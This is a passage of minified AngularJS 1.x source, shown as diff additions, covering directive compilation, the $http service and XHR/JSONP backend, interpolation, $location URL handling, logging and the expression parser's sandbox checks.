Q, + y, + M.require && t(M.directiveName, M.require, Q, ca), + ra + ); + } catch (D) { + l(D, ia(Q)); + } + } + n = n || {}; + for ( + var y = -Number.MAX_VALUE, + M, + O = n.controllerDirectives, + K = n.newIsolateScopeDirective, + I = n.templateDirective, + ea = n.nonTlbTranscludeDirective, + F = !1, + E = !1, + Ia = n.hasElementTranscludeDirective, + x = (d.$$element = A(c)), + H, + z, + V, + S = e, + R, + Ha = 0, + sa = a.length; + Ha < sa; + Ha++ + ) { + H = a[Ha]; + var U = H.$$start, + Y = H.$$end; + U && (x = P(c, U, Y)); + V = u; + if (y > H.priority) break; + if ((V = H.scope)) + (M = M || H), + H.templateUrl || + (fb("new/isolated scope", K, H, x), T(V) && (K = H)); + z = H.name; + !H.templateUrl && + H.controller && + ((V = H.controller), + (O = O || {}), + fb("'" + z + "' controller", O[z], H, x), + (O[z] = H)); + if ((V = H.transclude)) + (F = !0), + H.$$tlb || (fb("transclusion", ea, H, x), (ea = H)), + "element" == V + ? ((Ia = !0), + (y = H.priority), + (V = x), + (x = d.$$element = + A(X.createComment(" " + z + ": " + d[z] + " "))), + (c = x[0]), + ra(f, wa.call(V, 0), c), + (S = B(V, e, y, g && g.name, { + nonTlbTranscludeDirective: ea, + }))) + : ((V = A(Kb(c)).contents()), x.empty(), (S = B(V, e))); + if (H.template) + if ( + ((E = !0), + fb("template", I, H, x), + (I = H), + (V = N(H.template) ? H.template(x, d) : H.template), + (V = W(V)), + H.replace) + ) { + g = H; + V = Ib.test(V) ? A($(V)) : []; + c = V[0]; + if (1 != V.length || 1 !== c.nodeType) throw ja("tplrt", z, ""); + ra(f, x, c); + sa = { $attr: {} }; + V = ca(c, [], sa); + var Z = a.splice(Ha + 1, a.length - (Ha + 1)); + K && D(V); + a = a.concat(V).concat(Z); + v(d, sa); + sa = a.length; + } else x.html(V); + if (H.templateUrl) + (E = !0), + fb("template", I, H, x), + (I = H), + H.replace && (g = H), + (J = te(a.splice(Ha, a.length - Ha), x, d, f, F && S, k, q, { + controllerDirectives: O, + newIsolateScopeDirective: K, + templateDirective: I, + nonTlbTranscludeDirective: ea, + })), + (sa = a.length); + else if (H.compile) + try { + (R = H.compile(x, d, S)), + N(R) ? w(null, R, U, Y) : R && w(R.pre, R.post, U, Y); + } catch (ve) { + l(ve, ia(x)); + } + H.terminal && ((J.terminal = !0), (y = Math.max(y, H.priority))); + } + J.scope = M && !0 === M.scope; + J.transcludeOnThisElement = F; + J.templateOnThisElement = E; + J.transclude = S; + n.hasElementTranscludeDirective = Ia; + return J; + } + function D(a) { + for (var b = 0, c = a.length; b < c; b++) + a[b] = $b(a[b], { $$isolateScope: !0 }); + } + function ea(b, e, f, g, p, m, n) { + if (e === p) return null; + p = null; + if (c.hasOwnProperty(e)) { + var q; + e = a.get(e + d); + for (var w = 0, s = e.length; w < s; w++) + try { + (q = e[w]), + (g === u || g > q.priority) && + -1 != q.restrict.indexOf(f) && + (m && (q = $b(q, { $$start: m, $$end: n })), + b.push(q), + (p = q)); + } catch (y) { + l(y); + } + } + return p; + } + function v(a, b) { + var c = b.$attr, + d = a.$attr, + e = a.$$element; + r(a, function (d, e) { + "$" != e.charAt(0) && + (b[e] && b[e] !== d && (d += ("style" === e ? ";" : " ") + b[e]), + a.$set(e, d, !0, c[e])); + }); + r(b, function (b, f) { + "class" == f + ? (ba(e, b), + (a["class"] = (a["class"] ? a["class"] + " " : "") + b)) + : "style" == f + ? (e.attr("style", e.attr("style") + ";" + b), + (a.style = (a.style ? a.style + ";" : "") + b)) + : "$" == f.charAt(0) || + a.hasOwnProperty(f) || + ((a[f] = b), (d[f] = c[f])); + }); + } + function te(a, b, c, d, e, f, g, k) { + var p = [], + l, + m, + w = b[0], + s = a.shift(), + y = E({}, s, { + templateUrl: null, + transclude: null, + replace: null, + $$originalDirective: s, + }), + J = N(s.templateUrl) ? s.templateUrl(b, c) : s.templateUrl; + b.empty(); + n.get(t.getTrustedResourceUrl(J), { cache: q }) + .success(function (q) { + var n, t; + q = W(q); + if (s.replace) { + q = Ib.test(q) ? A($(q)) : []; + n = q[0]; + if (1 != q.length || 1 !== n.nodeType) + throw ja("tplrt", s.name, J); + q = { $attr: {} }; + ra(d, b, n); + var B = ca(n, [], q); + T(s.scope) && D(B); + a = B.concat(a); + v(c, q); + } else (n = w), b.html(q); + a.unshift(y); + l = I(a, n, c, e, b, s, f, g, k); + r(d, function (a, c) { + a == n && (d[c] = b[0]); + }); + for (m = O(b[0].childNodes, e); p.length; ) { + q = p.shift(); + t = p.shift(); + var K = p.shift(), + C = p.shift(), + B = b[0]; + if (t !== w) { + var P = t.className; + (k.hasElementTranscludeDirective && s.replace) || (B = Kb(n)); + ra(K, A(t), B); + ba(A(B), P); + } + t = l.transcludeOnThisElement ? M(q, l.transclude, C) : C; + l(m, q, B, d, t); + } + p = null; + }) + .error(function (a, b, c, d) { + throw ja("tpload", d.url); + }); + return function (a, b, c, d, e) { + a = e; + p + ? (p.push(b), p.push(c), p.push(d), p.push(a)) + : (l.transcludeOnThisElement && (a = M(b, l.transclude, e)), + l(m, b, c, d, a)); + }; + } + function F(a, b) { + var c = b.priority - a.priority; + return 0 !== c + ? c + : a.name !== b.name + ? a.name < b.name + ? -1 + : 1 + : a.index - b.index; + } + function fb(a, b, c, d) { + if (b) throw ja("multidir", b.name, c.name, a, ia(d)); + } + function x(a, c) { + var d = b(c, !0); + d && + a.push({ + priority: 0, + compile: function (a) { + var b = a.parent().length; + b && ba(a.parent(), "ng-binding"); + return function (a, c) { + var e = c.parent(), + f = e.data("$binding") || []; + f.push(d); + e.data("$binding", f); + b || ba(e, "ng-binding"); + a.$watch(d, function (a) { + c[0].nodeValue = a; + }); + }; + }, + }); + } + function z(a, b) { + if ("srcdoc" == b) return t.HTML; + var c = Pa(a); + if ( + "xlinkHref" == b || + ("FORM" == c && "action" == b) || + ("IMG" != c && ("src" == b || "ngSrc" == b)) + ) + return t.RESOURCE_URL; + } + function S(a, c, d, e) { + var f = b(d, !0); + if (f) { + if ("multiple" === e && "SELECT" === Pa(a)) + throw ja("selmulti", ia(a)); + c.push({ + priority: 100, + compile: function () { + return { + pre: function (c, d, k) { + d = k.$$observers || (k.$$observers = {}); + if (g.test(e)) throw ja("nodomevents"); + if ((f = b(k[e], !0, z(a, e)))) + (k[e] = f(c)), + ((d[e] || (d[e] = [])).$$inter = !0), + ( + (k.$$observers && k.$$observers[e].$$scope) || + c + ).$watch(f, function (a, b) { + "class" === e && a != b + ? k.$updateClass(a, b) + : k.$set(e, a); + }); + }, + }; + }, + }); + } + } + function ra(a, b, c) { + var d = b[0], + e = b.length, + f = d.parentNode, + g, + k; + if (a) + for (g = 0, k = a.length; g < k; g++) + if (a[g] == d) { + a[g++] = c; + k = g + e - 1; + for (var p = a.length; g < p; g++, k++) + k < p ? (a[g] = a[k]) : delete a[g]; + a.length -= e - 1; + break; + } + f && f.replaceChild(c, d); + a = X.createDocumentFragment(); + a.appendChild(d); + c[A.expando] = d[A.expando]; + d = 1; + for (e = b.length; d < e; d++) + (f = b[d]), A(f).remove(), a.appendChild(f), delete b[d]; + b[0] = c; + b.length = 1; + } + function rc(a, b) { + return E( + function () { + return a.apply(null, arguments); + }, + a, + b + ); + } + var Ob = function (a, b) { + this.$$element = a; + this.$attr = b || {}; + }; + Ob.prototype = { + $normalize: qa, + $addClass: function (a) { + a && 0 < a.length && y.addClass(this.$$element, a); + }, + $removeClass: function (a) { + a && 0 < a.length && y.removeClass(this.$$element, a); + }, + $updateClass: function (a, b) { + var c = sc(a, b), + d = sc(b, a); + 0 === c.length + ? y.removeClass(this.$$element, d) + : 0 === d.length + ? y.addClass(this.$$element, c) + : y.setClass(this.$$element, c, d); + }, + $set: function (a, b, c, d) { + var e = oc(this.$$element[0], a); + e && (this.$$element.prop(a, b), (d = e)); + this[a] = b; + d + ? (this.$attr[a] = d) + : (d = this.$attr[a]) || (this.$attr[a] = d = nb(a, "-")); + e = Pa(this.$$element); + if (("A" === e && "href" === a) || ("IMG" === e && "src" === a)) + this[a] = b = K(b, "src" === a); + !1 !== c && + (null === b || b === u + ? this.$$element.removeAttr(d) + : this.$$element.attr(d, b)); + (c = this.$$observers) && + r(c[a], function (a) { + try { + a(b); + } catch (c) { + l(c); + } + }); + }, + $observe: function (a, b) { + var c = this, + d = c.$$observers || (c.$$observers = {}), + e = d[a] || (d[a] = []); + e.push(b); + J.$evalAsync(function () { + e.$$inter || b(c[a]); + }); + return b; + }, + }; + var sa = b.startSymbol(), + Ia = b.endSymbol(), + W = + "{{" == sa || "}}" == Ia + ? ga + : function (a) { + return a.replace(/\{\{/g, sa).replace(/}}/g, Ia); + }, + U = /^ngAttr[A-Z]/; + return B; + }, + ]; + } + function qa(b) { + return ab(b.replace(we, "")); + } + function sc(b, a) { + var c = "", + d = b.split(/\s+/), + e = a.split(/\s+/), + f = 0; + a: for (; f < d.length; f++) { + for (var g = d[f], h = 0; h < e.length; h++) if (g == e[h]) continue a; + c += (0 < c.length ? " " : "") + g; + } + return c; + } + function Od() { + var b = {}, + a = /^(\S+)(\s+as\s+(\w+))?$/; + this.register = function (a, d) { + Ea(a, "controller"); + T(a) ? E(b, a) : (b[a] = d); + }; + this.$get = [ + "$injector", + "$window", + function (c, d) { + return function (e, f) { + var g, h, k; + G(e) && + ((g = e.match(a)), + (h = g[1]), + (k = g[3]), + (e = b.hasOwnProperty(h) + ? b[h] + : fc(f.$scope, h, !0) || fc(d, h, !0)), + Ya(e, h, !0)); + g = c.instantiate(e, f); + if (k) { + if (!f || "object" !== typeof f.$scope) + throw z("$controller")("noscp", h || e.name, k); + f.$scope[k] = g; + } + return g; + }; + }, + ]; + } + function Pd() { + this.$get = [ + "$window", + function (b) { + return A(b.document); + }, + ]; + } + function Qd() { + this.$get = [ + "$log", + function (b) { + return function (a, c) { + b.error.apply(b, arguments); + }; + }, + ]; + } + function tc(b) { + var a = {}, + c, + d, + e; + if (!b) return a; + r(b.split("\n"), function (b) { + e = b.indexOf(":"); + c = x($(b.substr(0, e))); + d = $(b.substr(e + 1)); + c && (a[c] = a[c] ? a[c] + ", " + d : d); + }); + return a; + } + function uc(b) { + var a = T(b) ? b : u; + return function (c) { + a || (a = tc(b)); + return c ? a[x(c)] || null : a; + }; + } + function vc(b, a, c) { + if (N(c)) return c(b, a); + r(c, function (c) { + b = c(b, a); + }); + return b; + } + function Td() { + var b = /^\s*(\[|\{[^\{])/, + a = /[\}\]]\s*$/, + c = /^\)\]\}',?\n/, + d = { "Content-Type": "application/json;charset=utf-8" }, + e = (this.defaults = { + transformResponse: [ + function (d) { + G(d) && + ((d = d.replace(c, "")), b.test(d) && a.test(d) && (d = ac(d))); + return d; + }, + ], + transformRequest: [ + function (a) { + return T(a) && + "[object File]" !== Ba.call(a) && + "[object Blob]" !== Ba.call(a) + ? oa(a) + : a; + }, + ], + headers: { + common: { Accept: "application/json, text/plain, */*" }, + post: ha(d), + put: ha(d), + patch: ha(d), + }, + xsrfCookieName: "XSRF-TOKEN", + xsrfHeaderName: "X-XSRF-TOKEN", + }), + f = (this.interceptors = []), + g = (this.responseInterceptors = []); + this.$get = [ + "$httpBackend", + "$browser", + "$cacheFactory", + "$rootScope", + "$q", + "$injector", + function (a, b, c, d, n, q) { + function p(a) { + function b(a) { + var d = E({}, a, { + data: vc(a.data, a.headers, c.transformResponse), + }); + return 200 <= a.status && 300 > a.status ? d : n.reject(d); + } + var c = { + method: "get", + transformRequest: e.transformRequest, + transformResponse: e.transformResponse, + }, + d = (function (a) { + var b = e.headers, + c = E({}, a.headers), + d, + f, + b = E({}, b.common, b[x(a.method)]); + a: for (d in b) { + a = x(d); + for (f in c) if (x(f) === a) continue a; + c[d] = b[d]; + } + (function (a) { + var b; + r(a, function (c, d) { + N(c) && ((b = c()), null != b ? (a[d] = b) : delete a[d]); + }); + })(c); + return c; + })(a); + E(c, a); + c.headers = d; + c.method = La(c.method); + var f = [ + function (a) { + d = a.headers; + var c = vc(a.data, uc(d), a.transformRequest); + F(c) && + r(d, function (a, b) { + "content-type" === x(b) && delete d[b]; + }); + F(a.withCredentials) && + !F(e.withCredentials) && + (a.withCredentials = e.withCredentials); + return s(a, c, d).then(b, b); + }, + u, + ], + g = n.when(c); + for ( + r(t, function (a) { + (a.request || a.requestError) && + f.unshift(a.request, a.requestError); + (a.response || a.responseError) && + f.push(a.response, a.responseError); + }); + f.length; + + ) { + a = f.shift(); + var h = f.shift(), + g = g.then(a, h); + } + g.success = function (a) { + g.then(function (b) { + a(b.data, b.status, b.headers, c); + }); + return g; + }; + g.error = function (a) { + g.then(null, function (b) { + a(b.data, b.status, b.headers, c); + }); + return g; + }; + return g; + } + function s(c, f, g) { + function m(a, b, c, e) { + C && + (200 <= a && 300 > a ? C.put(A, [a, b, tc(c), e]) : C.remove(A)); + q(b, a, c, e); + d.$$phase || d.$apply(); + } + function q(a, b, d, e) { + b = Math.max(b, 0); + (200 <= b && 300 > b ? t.resolve : t.reject)({ + data: a, + status: b, + headers: uc(d), + config: c, + statusText: e, + }); + } + function s() { + var a = Ta(p.pendingRequests, c); + -1 !== a && p.pendingRequests.splice(a, 1); + } + var t = n.defer(), + r = t.promise, + C, + I, + A = J(c.url, c.params); + p.pendingRequests.push(c); + r.then(s, s); + (!c.cache && !e.cache) || + !1 === c.cache || + ("GET" !== c.method && "JSONP" !== c.method) || + (C = T(c.cache) ? c.cache : T(e.cache) ? e.cache : w); + if (C) + if (((I = C.get(A)), D(I))) { + if (I && N(I.then)) return I.then(s, s), I; + L(I) ? q(I[1], I[0], ha(I[2]), I[3]) : q(I, 200, {}, "OK"); + } else C.put(A, r); + F(I) && + ((I = Pb(c.url) + ? b.cookies()[c.xsrfCookieName || e.xsrfCookieName] + : u) && (g[c.xsrfHeaderName || e.xsrfHeaderName] = I), + a( + c.method, + A, + f, + m, + g, + c.timeout, + c.withCredentials, + c.responseType + )); + return r; + } + function J(a, b) { + if (!b) return a; + var c = []; + Sc(b, function (a, b) { + null === a || + F(a) || + (L(a) || (a = [a]), + r(a, function (a) { + T(a) && (a = va(a) ? a.toISOString() : oa(a)); + c.push(Da(b) + "=" + Da(a)); + })); + }); + 0 < c.length && + (a += (-1 == a.indexOf("?") ? "?" : "&") + c.join("&")); + return a; + } + var w = c("$http"), + t = []; + r(f, function (a) { + t.unshift(G(a) ? q.get(a) : q.invoke(a)); + }); + r(g, function (a, b) { + var c = G(a) ? q.get(a) : q.invoke(a); + t.splice(b, 0, { + response: function (a) { + return c(n.when(a)); + }, + responseError: function (a) { + return c(n.reject(a)); + }, + }); + }); + p.pendingRequests = []; + (function (a) { + r(arguments, function (a) { + p[a] = function (b, c) { + return p(E(c || {}, { method: a, url: b })); + }; + }); + })("get", "delete", "head", "jsonp"); + (function (a) { + r(arguments, function (a) { + p[a] = function (b, c, d) { + return p(E(d || {}, { method: a, url: b, data: c })); + }; + }); + })("post", "put", "patch"); + p.defaults = e; + return p; + }, + ]; + } + function xe(b) { + if ( + 8 >= R && + (!b.match(/^(get|post|head|put|delete|options)$/i) || !W.XMLHttpRequest) + ) + return new W.ActiveXObject("Microsoft.XMLHTTP"); + if (W.XMLHttpRequest) return new W.XMLHttpRequest(); + throw z("$httpBackend")("noxhr"); + } + function Ud() { + this.$get = [ + "$browser", + "$window", + "$document", + function (b, a, c) { + return ye(b, xe, b.defer, a.angular.callbacks, c[0]); + }, + ]; + } + function ye(b, a, c, d, e) { + function f(a, b, c) { + var f = e.createElement("script"), + g = null; + f.type = "text/javascript"; + f.src = a; + f.async = !0; + g = function (a) { + bb(f, "load", g); + bb(f, "error", g); + e.body.removeChild(f); + f = null; + var h = -1, + s = "unknown"; + a && + ("load" !== a.type || d[b].called || (a = { type: "error" }), + (s = a.type), + (h = "error" === a.type ? 404 : 200)); + c && c(h, s); + }; + sb(f, "load", g); + sb(f, "error", g); + 8 >= R && + (f.onreadystatechange = function () { + G(f.readyState) && + /loaded|complete/.test(f.readyState) && + ((f.onreadystatechange = null), g({ type: "load" })); + }); + e.body.appendChild(f); + return g; + } + var g = -1; + return function (e, k, m, l, n, q, p, s) { + function J() { + t = g; + K && K(); + B && B.abort(); + } + function w(a, d, e, f, g) { + O && c.cancel(O); + K = B = null; + 0 === d && (d = e ? 200 : "file" == xa(k).protocol ? 404 : 0); + a(1223 === d ? 204 : d, e, f, g || ""); + b.$$completeOutstandingRequest(v); + } + var t; + b.$$incOutstandingRequestCount(); + k = k || b.url(); + if ("jsonp" == x(e)) { + var y = "_" + (d.counter++).toString(36); + d[y] = function (a) { + d[y].data = a; + d[y].called = !0; + }; + var K = f( + k.replace("JSON_CALLBACK", "angular.callbacks." + y), + y, + function (a, b) { + w(l, a, d[y].data, "", b); + d[y] = v; + } + ); + } else { + var B = a(e); + B.open(e, k, !0); + r(n, function (a, b) { + D(a) && B.setRequestHeader(b, a); + }); + B.onreadystatechange = function () { + if (B && 4 == B.readyState) { + var a = null, + b = null, + c = ""; + t !== g && + ((a = B.getAllResponseHeaders()), + (b = "response" in B ? B.response : B.responseText)); + (t === g && 10 > R) || (c = B.statusText); + w(l, t || B.status, b, a, c); + } + }; + p && (B.withCredentials = !0); + if (s) + try { + B.responseType = s; + } catch (ba) { + if ("json" !== s) throw ba; + } + B.send(m || null); + } + if (0 < q) var O = c(J, q); + else q && N(q.then) && q.then(J); + }; + } + function Rd() { + var b = "{{", + a = "}}"; + this.startSymbol = function (a) { + return a ? ((b = a), this) : b; + }; + this.endSymbol = function (b) { + return b ? ((a = b), this) : a; + }; + this.$get = [ + "$parse", + "$exceptionHandler", + "$sce", + function (c, d, e) { + function f(f, m, l) { + for (var n, q, p = 0, s = [], J = f.length, w = !1, t = []; p < J; ) + -1 != (n = f.indexOf(b, p)) && -1 != (q = f.indexOf(a, n + g)) + ? (p != n && s.push(f.substring(p, n)), + s.push((p = c((w = f.substring(n + g, q))))), + (p.exp = w), + (p = q + h), + (w = !0)) + : (p != J && s.push(f.substring(p)), (p = J)); + (J = s.length) || (s.push(""), (J = 1)); + if (l && 1 < s.length) throw wc("noconcat", f); + if (!m || w) + return ( + (t.length = J), + (p = function (a) { + try { + for (var b = 0, c = J, g; b < c; b++) { + if ("function" == typeof (g = s[b])) + if ( + ((g = g(a)), + (g = l ? e.getTrusted(l, g) : e.valueOf(g)), + null == g) + ) + g = ""; + else + switch (typeof g) { + case "string": + break; + case "number": + g = "" + g; + break; + default: + g = oa(g); + } + t[b] = g; + } + return t.join(""); + } catch (h) { + (a = wc("interr", f, h.toString())), d(a); + } + }), + (p.exp = f), + (p.parts = s), + p + ); + } + var g = b.length, + h = a.length; + f.startSymbol = function () { + return b; + }; + f.endSymbol = function () { + return a; + }; + return f; + }, + ]; + } + function Sd() { + this.$get = [ + "$rootScope", + "$window", + "$q", + function (b, a, c) { + function d(d, g, h, k) { + var m = a.setInterval, + l = a.clearInterval, + n = c.defer(), + q = n.promise, + p = 0, + s = D(k) && !k; + h = D(h) ? h : 0; + q.then(null, null, d); + q.$$intervalId = m(function () { + n.notify(p++); + 0 < h && + p >= h && + (n.resolve(p), l(q.$$intervalId), delete e[q.$$intervalId]); + s || b.$apply(); + }, g); + e[q.$$intervalId] = n; + return q; + } + var e = {}; + d.cancel = function (b) { + return b && b.$$intervalId in e + ? (e[b.$$intervalId].reject("canceled"), + a.clearInterval(b.$$intervalId), + delete e[b.$$intervalId], + !0) + : !1; + }; + return d; + }, + ]; + } + function ad() { + this.$get = function () { + return { + id: "en-us", + NUMBER_FORMATS: { + DECIMAL_SEP: ".", + GROUP_SEP: ",", + PATTERNS: [ + { + minInt: 1, + minFrac: 0, + maxFrac: 3, + posPre: "", + posSuf: "", + negPre: "-", + negSuf: "", + gSize: 3, + lgSize: 3, + }, + { + minInt: 1, + minFrac: 2, + maxFrac: 2, + posPre: "\u00a4", + posSuf: "", + negPre: "(\u00a4", + negSuf: ")", + gSize: 3, + lgSize: 3, + }, + ], + CURRENCY_SYM: "$", + }, + DATETIME_FORMATS: { + MONTH: + "January February March April May June July August September October November December".split( + " " + ), + SHORTMONTH: "Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split( + " " + ), + DAY: "Sunday Monday Tuesday Wednesday Thursday Friday Saturday".split( + " " + ), + SHORTDAY: "Sun Mon Tue Wed Thu Fri Sat".split(" "), + AMPMS: ["AM", "PM"], + medium: "MMM d, y h:mm:ss a", + short: "M/d/yy h:mm a", + fullDate: "EEEE, MMMM d, y", + longDate: "MMMM d, y", + mediumDate: "MMM d, y", + shortDate: "M/d/yy", + mediumTime: "h:mm:ss a", + shortTime: "h:mm a", + }, + pluralCat: function (b) { + return 1 === b ? "one" : "other"; + }, + }; + }; + } + function Qb(b) { + b = b.split("/"); + for (var a = b.length; a--; ) b[a] = mb(b[a]); + return b.join("/"); + } + function xc(b, a, c) { + b = xa(b, c); + a.$$protocol = b.protocol; + a.$$host = b.hostname; + a.$$port = U(b.port) || ze[b.protocol] || null; + } + function yc(b, a, c) { + var d = "/" !== b.charAt(0); + d && (b = "/" + b); + b = xa(b, c); + a.$$path = decodeURIComponent( + d && "/" === b.pathname.charAt(0) ? b.pathname.substring(1) : b.pathname + ); + a.$$search = cc(b.search); + a.$$hash = decodeURIComponent(b.hash); + a.$$path && "/" != a.$$path.charAt(0) && (a.$$path = "/" + a.$$path); + } + function ta(b, a) { + if (0 === a.indexOf(b)) return a.substr(b.length); + } + function Ga(b) { + var a = b.indexOf("#"); + return -1 == a ? b : b.substr(0, a); + } + function Rb(b) { + return b.substr(0, Ga(b).lastIndexOf("/") + 1); + } + function zc(b, a) { + this.$$html5 = !0; + a = a || ""; + var c = Rb(b); + xc(b, this, b); + this.$$parse = function (a) { + var e = ta(c, a); + if (!G(e)) throw Sb("ipthprfx", a, c); + yc(e, this, b); + this.$$path || (this.$$path = "/"); + this.$$compose(); + }; + this.$$compose = function () { + var a = Cb(this.$$search), + b = this.$$hash ? "#" + mb(this.$$hash) : ""; + this.$$url = Qb(this.$$path) + (a ? "?" + a : "") + b; + this.$$absUrl = c + this.$$url.substr(1); + }; + this.$$parseLinkUrl = function (d, e) { + var f, g; + (f = ta(b, d)) !== u + ? ((g = f), (g = (f = ta(a, f)) !== u ? c + (ta("/", f) || f) : b + g)) + : (f = ta(c, d)) !== u + ? (g = c + f) + : c == d + "/" && (g = c); + g && this.$$parse(g); + return !!g; + }; + } + function Tb(b, a) { + var c = Rb(b); + xc(b, this, b); + this.$$parse = function (d) { + var e = ta(b, d) || ta(c, d), + e = "#" == e.charAt(0) ? ta(a, e) : this.$$html5 ? e : ""; + if (!G(e)) throw Sb("ihshprfx", d, a); + yc(e, this, b); + d = this.$$path; + var f = /^\/[A-Z]:(\/.*)/; + 0 === e.indexOf(b) && (e = e.replace(b, "")); + f.exec(e) || (d = (e = f.exec(d)) ? e[1] : d); + this.$$path = d; + this.$$compose(); + }; + this.$$compose = function () { + var c = Cb(this.$$search), + e = this.$$hash ? "#" + mb(this.$$hash) : ""; + this.$$url = Qb(this.$$path) + (c ? "?" + c : "") + e; + this.$$absUrl = b + (this.$$url ? a + this.$$url : ""); + }; + this.$$parseLinkUrl = function (a, c) { + return Ga(b) == Ga(a) ? (this.$$parse(a), !0) : !1; + }; + } + function Ac(b, a) { + this.$$html5 = !0; + Tb.apply(this, arguments); + var c = Rb(b); + this.$$parseLinkUrl = function (d, e) { + var f, g; + b == Ga(d) + ? (f = d) + : (g = ta(c, d)) + ? (f = b + a + g) + : c === d + "/" && (f = c); + f && this.$$parse(f); + return !!f; + }; + this.$$compose = function () { + var c = Cb(this.$$search), + e = this.$$hash ? "#" + mb(this.$$hash) : ""; + this.$$url = Qb(this.$$path) + (c ? "?" + c : "") + e; + this.$$absUrl = b + a + this.$$url; + }; + } + function tb(b) { + return function () { + return this[b]; + }; + } + function Bc(b, a) { + return function (c) { + if (F(c)) return this[b]; + this[b] = a(c); + this.$$compose(); + return this; + }; + } + function Vd() { + var b = "", + a = !1; + this.hashPrefix = function (a) { + return D(a) ? ((b = a), this) : b; + }; + this.html5Mode = function (b) { + return D(b) ? ((a = b), this) : a; + }; + this.$get = [ + "$rootScope", + "$browser", + "$sniffer", + "$rootElement", + function (c, d, e, f) { + function g(a) { + c.$broadcast("$locationChangeSuccess", h.absUrl(), a); + } + var h, + k = d.baseHref(), + m = d.url(); + a + ? ((k = + m.substring(0, m.indexOf("/", m.indexOf("//") + 2)) + (k || "/")), + (e = e.history ? zc : Ac)) + : ((k = Ga(m)), (e = Tb)); + h = new e(k, "#" + b); + h.$$parseLinkUrl(m, m); + var l = /^\s*(javascript|mailto):/i; + f.on("click", function (a) { + if (!a.ctrlKey && !a.metaKey && 2 != a.which) { + for (var b = A(a.target); "a" !== x(b[0].nodeName); ) + if (b[0] === f[0] || !(b = b.parent())[0]) return; + var e = b.prop("href"), + g = b.attr("href") || b.attr("xlink:href"); + T(e) && + "[object SVGAnimatedString]" === e.toString() && + (e = xa(e.animVal).href); + l.test(e) || + !e || + b.attr("target") || + a.isDefaultPrevented() || + !h.$$parseLinkUrl(e, g) || + (a.preventDefault(), + h.absUrl() != d.url() && + (c.$apply(), (W.angular["ff-684208-preventDefault"] = !0))); + } + }); + h.absUrl() != m && d.url(h.absUrl(), !0); + d.onUrlChange(function (a) { + h.absUrl() != a && + (c.$evalAsync(function () { + var b = h.absUrl(); + h.$$parse(a); + c.$broadcast("$locationChangeStart", a, b).defaultPrevented + ? (h.$$parse(b), d.url(b)) + : g(b); + }), + c.$$phase || c.$digest()); + }); + var n = 0; + c.$watch(function () { + var a = d.url(), + b = h.$$replace; + (n && a == h.absUrl()) || + (n++, + c.$evalAsync(function () { + c.$broadcast("$locationChangeStart", h.absUrl(), a) + .defaultPrevented + ? h.$$parse(a) + : (d.url(h.absUrl(), b), g(a)); + })); + h.$$replace = !1; + return n; + }); + return h; + }, + ]; + } + function Wd() { + var b = !0, + a = this; + this.debugEnabled = function (a) { + return D(a) ? ((b = a), this) : b; + }; + this.$get = [ + "$window", + function (c) { + function d(a) { + a instanceof Error && + (a.stack + ? (a = + a.message && -1 === a.stack.indexOf(a.message) + ? "Error: " + a.message + "\n" + a.stack + : a.stack) + : a.sourceURL && + (a = a.message + "\n" + a.sourceURL + ":" + a.line)); + return a; + } + function e(a) { + var b = c.console || {}, + e = b[a] || b.log || v; + a = !1; + try { + a = !!e.apply; + } catch (k) {} + return a + ? function () { + var a = []; + r(arguments, function (b) { + a.push(d(b)); + }); + return e.apply(b, a); + } + : function (a, b) { + e(a, null == b ? "" : b); + }; + } + return { + log: e("log"), + info: e("info"), + warn: e("warn"), + error: e("error"), + debug: (function () { + var c = e("debug"); + return function () { + b && c.apply(a, arguments); + }; + })(), + }; + }, + ]; + } + function ka(b, a) { + if ( + "__defineGetter__" === b || + "__defineSetter__" === b || + "__lookupGetter__" === b || + "__lookupSetter__" === b || + "__proto__" === b + ) + throw la("isecfld", a); + return b; + } + function ma(b, a) { + if (b) { + if (b.constructor === b) throw la("isecfn", a); + if (b.document && b.location && b.alert && b.setInterval) + throw la("isecwindow", a); + if (b.children && (b.nodeName || (b.prop && b.attr && b.find))) + throw la("isecdom", a); + if (b === Object) throw la("isecobj", a); + } + return b; + } + function ub(b, a, c, d, e) { + ma(b, d); + e = e || {}; + a = a.split("."); + for (var f, g = 0; 1 < a.length; g++) { + f = ka(a.shift(), d); + var h = ma(b[f], d); + h || ((h = {}), (b[f] = h)); + b = h; + b.then && + e.unwrapPromises && + (ya(d), + "$$v" in b || + (function (a) { + a.then(function (b) { + a.$$v = b; + }); + })(b), + b.$$v === u && (b.$$v = {}), + (b = b.$$v)); + } + f = ka(a.shift(), d); + ma(b[f], d); + return (b[f] = c); + } + function Qa(b) { + return "constructor" == b; + } + function Cc(b, a, c, d, e, f, g) { + ka(b, f); + ka(a, f); + ka(c, f); + ka(d, f); + ka(e, f); + var h = function (a) { + return ma(a, f); + }, + k = g.expensiveChecks, + m = k || Qa(b) ? h : ga, + l = k || Qa(a) ? h : ga, + n = k || Qa(c) ? h : ga, + q = k || Qa(d) ? h : ga, + p = k || Qa(e) ? h : ga; + return g.unwrapPromises + ? function (g, h) { + var k = h && h.hasOwnProperty(b) ? h : g, + t; + if (null == k) return k; + (k = m(k[b])) && + k.then && + (ya(f), + "$$v" in k || + ((t = k), + (t.$$v = u), + t.then(function (a) { + t.$$v = m(a); + })), + (k = m(k.$$v))); + if (!a) return k; + if (null == k) return u; + (k = l(k[a])) && + k.then && + (ya(f), + "$$v" in k || + ((t = k), + (t.$$v = u), + t.then(function (a) { + t.$$v = l(a); + })), + (k = l(k.$$v))); + if (!c) return k; + if (null == k) return u; + (k = n(k[c])) && + k.then && + (ya(f), + "$$v" in k || + ((t = k), + (t.$$v = u), + t.then(function (a) { + t.$$v = n(a); + })), + (k = n(k.$$v))); + if (!d) return k; + if (null == k) return u; + (k = q(k[d])) && + k.then && + (ya(f), + "$$v" in k || + ((t = k), + (t.$$v = u), + t.then(function (a) { + t.$$v = q(a); + })), + (k = q(k.$$v))); + if (!e) return k; + if (null == k) return u; + (k = p(k[e])) && + k.then && + (ya(f), + "$$v" in k || + ((t = k), + (t.$$v = u), + t.then(function (a) { + t.$$v = p(a); + })), + (k = p(k.$$v))); + return k; + } + : function (f, g) { + var h = g && g.hasOwnProperty(b) ? g : f; + if (null == h) return h; + h = m(h[b]); + if (!a) return h; + if (null == h) return u; + h = l(h[a]); + if (!c) return h; + if (null == h) return u; + h = n(h[c]); + if (!d) return h; + if (null == h) return u; + h = q(h[d]); + return e ? (null == h ? u : (h = p(h[e]))) : h; + }; + } + function Ae(b, a) { + return function (c, d) { + return b(c, d, ya, ma, a); + }; + } + function Dc(b, a, c) { + var d = 